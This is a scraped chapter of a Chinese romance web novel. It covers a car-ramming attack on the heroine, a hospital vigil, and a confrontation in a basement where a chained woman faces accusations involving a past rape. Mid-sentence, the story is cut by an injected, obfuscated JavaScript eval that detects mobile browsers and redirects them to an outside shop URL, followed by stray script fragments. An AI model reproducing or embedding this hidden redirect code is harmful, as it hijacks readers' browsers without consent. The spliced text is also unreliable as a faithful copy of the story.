文趣网 > 其他小说 > 难搞[先婚后爱] > 75. 第 75 章
    手机里,正在播放本地新闻的视频。

    画面中,寰宇门前的银杉路,昨晚还车水马龙,此刻已被警戒线围了起来。

    警灯一闪一闪地映在湿漉漉的雪地上。

    主持人神情严肃:“今晚六点五十三分左右,银杉路发生一起恶性驾车撞人事件。一辆黑色宝马X5突然冲上寰宇商贸的入口通道,撞倒两名行人,最终撞上寰贸的墙体才停下。”

    画面切到现场。

    记者举着话筒站在封锁线外,身后是散落的杂物和一辆车头变形的黑色SUV。

    “目前警方已通报,肇事者张某,男,四十三岁,撞人原因系恶意报复社会。事故共造成两人重伤昏迷,目前仍在医院抢救,另有四人轻伤。张某现已被依法刑事拘留。”

    “案件正在进一步侦办中,本台将持续关注。”

    谢敖掐了视频,神色凝重:“老陈说那个姓张的一口咬死是自己恶意报复社会,怎么问都是这一句。警方那边还在查他的资金来源和家属情况,有消息会及时跟我们通气。”

    陆晏时没有抬头。

    他坐在医院长廊的铁皮椅子上,岔开双腿,双肘撑着膝盖,面色灰败,声音沙哑得像砂纸磨过铁皮。

    “不等他们。江家的人,分开审。一人关一间,轮番问,总有一个会吐东西出来。”

    “翁文茵和陆威那边继续盯着。把那份鉴定报告拿给我那个眼瞎心盲的父亲,告诉他,让他把那一摊烂账处理干净。”

    谢敖皱了皱眉:“你要收网了?这么做可能会打草惊蛇。这件事不像是你那个继母和二叔的手笔。如果是他们,会像以前害你那样,让那辆车直接冲你来,而不是冲着司梵。”

    陆晏时眼眶猩红,牙关紧咬,颈侧青筋暴起:“我等不了。这种隐患不能留,宁可错杀。万一他们再对她动手……”

    他会不会真的失去她?

    沉默了两秒,他忽然抬起眼,盯着手术室方向那盏刺眼的红灯,声音骤然拔高,近乎失控的暴烈:“科斯特到底行不行?!两个多小时了——他在里面绣花吗?!”

    那声音在空旷的走廊里来回冲撞了几下才落下去。

    李彦站在身后,一句话都不敢接。

    韶深上前几步,小心翼翼:“时哥,你放轻松,放轻松……科斯特的水平你还不知道吗?他都能把你从死亡边缘拉回来。这次也一样,况且我哥也在里面,司梵肯定没事……说起来,幸亏你邀请科斯特来参加你的求婚……”

    陆晏时倏地转头看他。

    眼睛猩红,像是要滴血,像野兽被逼到绝路时才有的、让人头皮发麻的死寂和疯狂。

    韶深的话卡在嗓子里。

    是啊,他今晚本来是要求婚的。

    就在一个小时前,他还紧张又欣喜地拿着那枚戒指,问韶深他穿的这身衣服行不行。

    接到司梵正在抢救的电话时,他整个人僵在原地。

    一瞬间天旋地转,耳朵嗡嗡作响,听不清对方在说什么,像丢了魂。

    伤她的人,是真该死。

    走廊那头忽然响起急促的高跟鞋声。

    谢敖看了一眼来人,一把拉起韶深:“跟我去审人。”

    司倾梅冲到陆晏时面前,站稳的瞬间一巴掌扇了过去。

    “是不是你干的?是不是你干的?你是不是为了报复我?”

    陆晏时被她打得偏过头去,脸上浮起红痕,却没有躲,也没有还手。

    他没有任何多余的表情给她,只是慢慢转回脸,那双猩红的眼睛空洞地盯着手术室的门,像根本感觉不到疼。

    司倾梅又扬起手,第二巴掌还没落下,被谢敖一把截住。

    “你难道看不出来他比你更难过吗?”谢敖说的很用力,“发疯也不是你这样发的。我们也在查幕后凶手。”

    司倾梅的手僵在半空。

    她看向陆晏时。

    那个从来高高在上、永远淡漠从容的男人,此刻低垂着头,肩膀微微发抖,手指深深插进头发里,像是有什么东西从里面被碾碎了。

    他目光紧紧盯着那扇紧闭的门,仿佛在跪求一个结果。

    谢敖看不下去了,问司倾梅:“有没有可能是你的仇家为了报复你,才去找司梵的?你觉得蒋念薇能不能做出这种事?”

    走廊里安静了一会儿。

    司倾梅像是极不情愿地回忆起某些往事,过了很久,她终于开口说:“我要见她。”

    -

    麓园地下室,向下走了三层才到。

    入口藏在一排酒柜后面,门是钢板裹着隔音棉的那种,推开的时候闷响一声,像是什么东西被掐住了喉咙。

    里面密不透光,冷白色的长管灯,一根根嵌在天花板里,嗡嗡作响,光线惨淡地泻下来,把人的影子拉成扭曲的形状。

    空气里弥漫着一股铁锈混合着霉烂的味道,像是血渗进水泥地面,年复一年,怎么都清不干净。墙角渗着水珠,顺着管道一滴滴往下坠,像计时。

    地面上有暗色的痕迹,深深浅浅,拖曳的、溅落的、干涸后裂成碎片的,有些已经和水泥融为一体,分不清是什么年月留下的。

    正中间是一把焊死在地面的铁椅,扶手和椅背上的皮面早就磨烂了,露出底下锈迹斑斑的铁板。椅子旁边的地上扔着几根绑带,黑色,沾着不明的水渍。

    一个女人被绑在上面。

    她的嚎啕声从喉咙深处发出来,断断续续,像是嗓子已经喊哑了又被逼着发出声音,尾音撕裂。

    回声在密闭的空间里撞来撞去,分不清方向,只觉得四周都在震动。

    空气潮湿、凝滞。

    灯管又嗡嗡了一声。

    咔哒,咔哒。

    高跟鞋踩在水泥地上,声音从楼梯口一路传到这里。

    灯光照着来人。

    蒋念薇抬起头,眼睛被光线刺得眯了一下。

    等看清那张脸,她猛地往前一挣,铁椅哐当作响,锁链绷得笔直。

    “你——!”

    她发了疯似的想站起来,椅子跟着她晃动,铁器撞在地上的声音闷而沉。

    她的声音从嗓子尖锐、嘶哑,恨意刻骨:“司倾梅!果然是你这个贱人!我就知道是你——你这个毒妇!”

    司倾梅站在她面前,居高临下,没有说话。

    蒋念薇像是被她的沉默激得更疯了,挣扎着往前扑,手腕上的皮肉被铁铐勒出痕迹。她感觉不到疼似的,嘴里的话越来越难听:

    “你他妈装什么清高?口口声声说不喜欢江泰安,却背着我跟他搞在一起,还大了肚子生下司梵那个贱种!我把你当亲姐妹,你反过来抢我男人!你跟他搞在一起的时候,有没有过一丝愧疚?你这个不要脸的婊子!”

    她喘着粗气,口水溅到下巴上,声音已经破了,还在骂:“你和陆晏时联合起来搞垮我们,你们不得好死!你现在抓我来这里干什么?想杀我?你杀啊!你杀了我,你也逃不掉!你放了我女儿!你把我女儿怎么样了!畜生!你冲我来,对一个孩子下手,你还是人吗!”

    司倾梅仍然没有说话,只是低头看着她。

    面前的人让她陌生。

    她从来没有见过蒋念薇这个样子。

    在她印象

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17783054|206516||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    里蒋念薇总是一身得体的旗袍、精致的妆容、得体的举止,连说话都很优雅,声音很温柔。

    而现在,她像一个泼妇,或者更贴切地说,像一个怨妇。

    精致的面具终于撕开,露出最真实的样子,像个丑陋的鬼物。

    就是这样一个鬼物,让自己备受煎熬这么多年。

    她问:“你后悔吗?”

    蒋念薇一怔,胸腔剧烈起伏着,眼睛里全是红血丝,嘴唇在抖:“你说的什么……我听不懂……”

    司倾梅说:“那天我从乡下失魂落魄地回来,不敢回家,只能去找你。你说喝酒可以让人忘记痛苦,所以那晚上你劝我喝了很多酒,然后让我在客房睡下。后来发生的事,需要我给你描述一遍吗?”

    蒋念薇尖声道:“你闭嘴,你给我闭嘴!司倾梅,就是你勾引的江泰安,否则他怎么会上了你的床……”

    司倾梅继续说:“你本来是跟你哥蒋明辉约好的,对吧?可不巧的是,你哥和江泰安都喝多了,他醉得不省人事。你为了不让人事后起疑,借口出去买东西。等你回来的时候,江泰安已经回房休息了。蒋明辉倒是在自己房间里,但衣衫不整。而我在客房,同样衣衫不整。你以为,睡了我的人是你哥,是不是?”

    蒋念薇歇斯底里地喊:“贱人!你给我闭嘴!给我闭嘴!”

    司倾梅面色惨白:“其实那天晚上是江泰安。你和蒋明辉说的话,他全听见了。趁你出去买东西,他进了我的房间,趁我喝醉了,□□了我。一次又一次。你的丈夫,在你家的床上,叫着我的名字。他对你都没有这么热情吧?”

    蒋念薇几乎崩溃:“你去死!你有什么好得意的?你被□□了,得意什么?陆郕最后也没要你,你就是个没人要的可怜虫!”

    司倾梅说:“可怜的是你。你怕江泰安心里的人是我,处心积虑想毁了我。你想让你哥来,结果却亲手把我送到了你老公床上。像不像你女儿对我女儿要做的事?因果轮回,害人终害己。”

    “你胡说……心心不会像我这样,她不会……她是高贵的公主,以后会有爱她的人爱她,不会像我这样……不会……”

    司倾梅说:“司梵的事是你找人做的,对吗?你肯定不知道,你儿子江北为司梵挡住了最致命的那一下撞击。他现在在手术室急救,能不能脱离危险不知道。或许他到死都不知道,害他的人就是他的亲妈。”

    蒋念薇猛地抬头:“你说什么?江北?江北怎么可能跟司梵在一起?他回苏城了……你骗我,你骗我!”

    她声音发颤,连连摇头,忽然又扯出一个笑来:“你想套我的话……哈哈哈,江北不可能死……不可能……”

    “那你哭什么?”司倾梅看着她,“因为那个肇事者早就告诉过你,他撞了两个人,而另一个人不是陆晏时。所以你心里也清楚,我说的是真的,那个人确实是江北。”

    蒋念薇彻底崩溃,嚎啕大哭:“司倾梅!你害死了我儿子,抢走了我老公,害得我家破人亡,连我女儿都不放过!你到底为什么要这么对我?你怎么不去死啊!”

    司倾梅看着她,说出的话极其残忍:

    “是你一手葬送了自己的幸福,也害了你的儿女。他们今天的结果,都是拜你所赐。

    “我不会对你怎么样,因为往后的每一天,你都会一次次回想起曾经拥有的美满,又一次次坠入火油煎的地狱。

    “你会比我煎熬得多,痛苦得多。

    “因为你曾经幸福过,而我从来没有。所以你会比我更惨。

    “这是你的报应。

    “每个人都躲不过,我也一样。”